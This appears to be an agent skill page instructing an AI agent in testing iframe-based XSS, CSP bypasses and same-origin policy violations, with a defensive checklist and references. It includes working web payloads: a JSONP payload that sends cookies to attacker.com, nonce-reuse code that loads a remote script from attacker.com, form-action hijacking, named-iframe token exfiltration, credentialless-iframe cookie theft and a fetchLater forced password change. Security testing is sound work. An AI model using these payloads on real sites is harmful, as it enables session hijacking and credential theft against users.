# Iframe Xss Csp Pentest

> How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing.

- Skill: `abelrguezr/iframe-xss-csp-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/iframe-xss-csp-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/iframe-xss-csp-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/iframe-xss-csp-pentest

---


# Iframe XSS, CSP & SOP Pentesting

A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.

## Quick Reference

```bash
# Start local test server
python3 -m http.server 8000

# Test iframe XSS payloads
# See sections below for specific attack vectors
```

## Iframe XSS Vectors

### Three Content Injection Methods

1. **URL-based `src`** - Load external or same-origin pages
2. **`data:` protocol** - Embed content directly in the URL
3. **`srcdoc` attribute** - Embed HTML content directly

### Same-Origin Access Patterns

```html
<!-- Parent page -->
<script>
  var secret = "parent-secret";
</script>

<iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe>
<iframe id="same-origin" src="child.html"></iframe>
<iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe>
<iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe>

<script>
  // Cross-origin iframe: CANNOT access child.secret (SOP blocks)
  // Same-origin iframe: CAN access child.secret
  // srcdoc: CAN access (same origin as parent)
  // data: protocol: CANNOT access (null origin)
  
  console.log(document.getElementById('same-origin').contentWindow.secret);
  console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>
```

**Key insight:** Only same-origin iframes can access parent/child variables. Cross-origin and `data:` protocol iframes are blocked by SOP.

## CSP Bypass Techniques

### Basic CSP Bypass via Iframe

Even with `script-src 'none'`, iframes with URL-based `src` can execute scripts:

```html
<!-- Parent with restrictive CSP -->
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<iframe src="malicious.html"></iframe>
```

```html
<!-- malicious.html (no CSP) -->
<script>
  alert(document.cookie);
  // Can access parent if same-origin
  alert(parent.secret);
</script>
```

**Why this works:** The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass `script-src 'none'`.

### Advanced CSP Bypasses (2023-2025)

#### 1. Dangling Markup / Named Iframe Exfiltration

When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:

```html
<!-- Inject before sensitive content -->
<iframe name="//attacker.com/?">
```

```javascript
// On attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // Contains leaked data up to next quote
```

**Use case:** Leaking CSRF tokens, session IDs, or any reflected data when `script-src 'none'` is enforced.

#### 2. Nonce Reuse via Same-Origin Iframe

If you can inject same-origin HTML, read the nonce from the DOM:

```javascript
// In same-origin iframe
const nonce = top.document.querySelector('[nonce]').getAttribute('nonce');
const script = top.document.createElement('script');
script.src = 'https://attacker.com/pwn.js';
script.nonce = nonce;
top.document.body.appendChild(script);
```

**Requirements:**
- Same-origin HTML injection point
- CSP uses nonces (not just hashes)
- `strict-dynamic` may still allow this

#### 3. Form-Action Hijacking

If `form-action` directive is missing, redirect form submissions:

```html
<!-- Injected iframe or HTML -->
<iframe src="https://attacker.com/capture.php"></iframe>
<form action="https://attacker.com/capture.php" method="POST">
  <!-- Password managers may auto-fill here -->
</form>
```

**Defense:** Always include `form-action 'self'` in CSP.

### Testing CSP Bypasses

Use the test server script to verify bypasses:

```bash
# Run the test server
python3 scripts/test_csp_bypass.py

# Visit http://localhost:8000 to see:
# - Cookie theft with script-src 'self'
# - Various iframe configurations
```

## Sandbox Attribute Testing

### Default Restrictions

Empty sandbox applies ALL restrictions:

```html
<iframe sandbox="" src="page.html"></iframe>
```

**Blocked by default:**
- Script execution
- Form submission
- Top-level navigation
- Plugin usage
- Same-origin access
- Auto-play media

### Granular Permissions

```html
<!-- Allow scripts only (isolated origin) -->
<iframe sandbox="allow-scripts" src="page.html"></iframe>

<!-- Allow scripts + same-origin access -->
<iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe>

<!-- Allow top navigation (user activation required in modern browsers) -->
<iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe>

<!-- Allow downloads without user activation -->
<iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>
```

### Testing Sandbox Escapes

1. Check if `allow-same-origin` is present - enables parent access
2. Check if `allow-scripts` is present - enables JS execution
3. Check if `allow-top-navigation` is present - enables navigation attacks
4. Test form submission if `allow-forms` is present

## Credentialless Iframes

### What They Do

Chrome 110+ loads iframes without credentials while maintaining SOP:

```html
<iframe src="https://victim.com/page" credentialless></iframe>
```

**Effects:**
- No cookies sent to iframe
- No localStorage/IndexedDB shared
- Same-origin scripts can still interact via DOM
- CSRF protection usually works (no auth cookies)
- Password managers disabled

### Self-XSS + Credentialless Attack

```html
<!-- Attacker page -->
<iframe id="credless" src="https://victim.com/login" credentialless>
  <!-- Contains Self-XSS payload in username field -->
</iframe>

<iframe id="authed" src="https://victim.com/dashboard">
  <!-- User is logged in here -->
</iframe>

<script>
  // After Self-XSS executes in credless iframe
  // Both iframes share same top-level origin
  const cookie = document.getElementById('authed').contentWindow.document.cookie;
  console.log('Stolen cookie:', cookie);
</script>
```

**Requirements:**
- Self-XSS vulnerability on victim site
- User visits attacker page while logged in
- Chrome 110+ or equivalent browser

### Testing Credentialless Attacks

1. Check browser support (Chrome 110+, Edge, Firefox 110+)
2. Look for Self-XSS vectors (user-controlled HTML in profile/settings)
3. Test if multiple iframes can share DOM access
4. Verify cookie partitioning behavior

## fetchLater API Abuse

### What It Does

Defers requests until page unload or timeout:

```javascript
const req = new Request('/change-password', {
  method: 'POST',
  body: JSON.stringify({password: 'attacker-password'}),
  credentials: 'include'
});

// Execute after 1 minute
fetchLater(req, {activateAfter: 60000});
```

### Attack Pattern

1. Inject Self-XSS in attacker's session
2. Set `fetchLater` request to perform action
3. Logout from attacker session
4. Victim logs in with their credentials
5. `fetchLater` executes in victim's session

**Requirements:**
- Browser supports `fetchLater` (emerging API)
- Self-XSS injection point
- Victim visits attacker page

**Defense:**
- CSP `connect-src` controls `fetchLater` requests
- Feature-detect before using

## SOP Considerations

### Cross-Origin Communication

```javascript
// Parent page
const iframe = document.getElementById('cross-origin-frame');

// This will FAIL if iframe is cross-origin
try {
  console.log(iframe.contentWindow.document.cookie);
} catch (e) {
  console.log('SOP blocked access:', e.message);
}

// Use postMessage for cross-origin communication
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');
```

### Testing SOP Violations

1. **Check iframe origins** - Same-origin vs cross-origin
2. **Test parent access** - Can parent read iframe content?
3. **Test child access** - Can iframe read parent content?
4. **Test postMessage** - Is message origin validation present?
5. **Check for `null` origin** - `data:` protocol iframes

## Defensive Checklist

### For Defenders

- [ ] Include ALL CSP directives: `form-action`, `frame-src`, `child-src`, `object-src`
- [ ] Use `strict-dynamic` with nonces, don't rely on nonce secrecy
- [ ] Apply `sandbox` carefully - avoid `allow-same-origin` unless necessary
- [ ] Consider COOP+COEP deployment
- [ ] Use `credentialless` for third-party embeds in COEP environments
- [ ] Validate and sanitize all iframe `src` and `srcdoc` attributes
- [ ] Implement proper `postMessage` origin validation

### For Pentesters

- [ ] Test all three iframe content methods (URL, data:, srcdoc)
- [ ] Try CSP bypasses with uploaded files
- [ ] Test dangling markup exfiltration
- [ ] Check for nonce reuse opportunities
- [ ] Test form-action hijacking
- [ ] Verify sandbox restrictions
- [ ] Test credentialless iframe interactions
- [ ] Check for fetchLater support and abuse potential
- [ ] Map SOP boundaries between frames

## Common Payloads

```html
<!-- Data: protocol XSS (if allowed) -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

<!-- JSONP endpoint abuse -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe>

<!-- Defer/async script in iframe -->
<iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe>

<!-- Named iframe exfiltration -->
<iframe name="//attacker.com/?token="></iframe>
```

## References

- [PortSwigger - Form hijacking to bypass CSP](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
- [PortSwigger - Dangling iframe CSP bypass](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
- [Chrome - Iframe credentialless](https://developer.chrome.com/blog/iframe-credentialless)
- [MDN - Window.fetchLater()](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetchLater)
- [Sloonser - Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/)

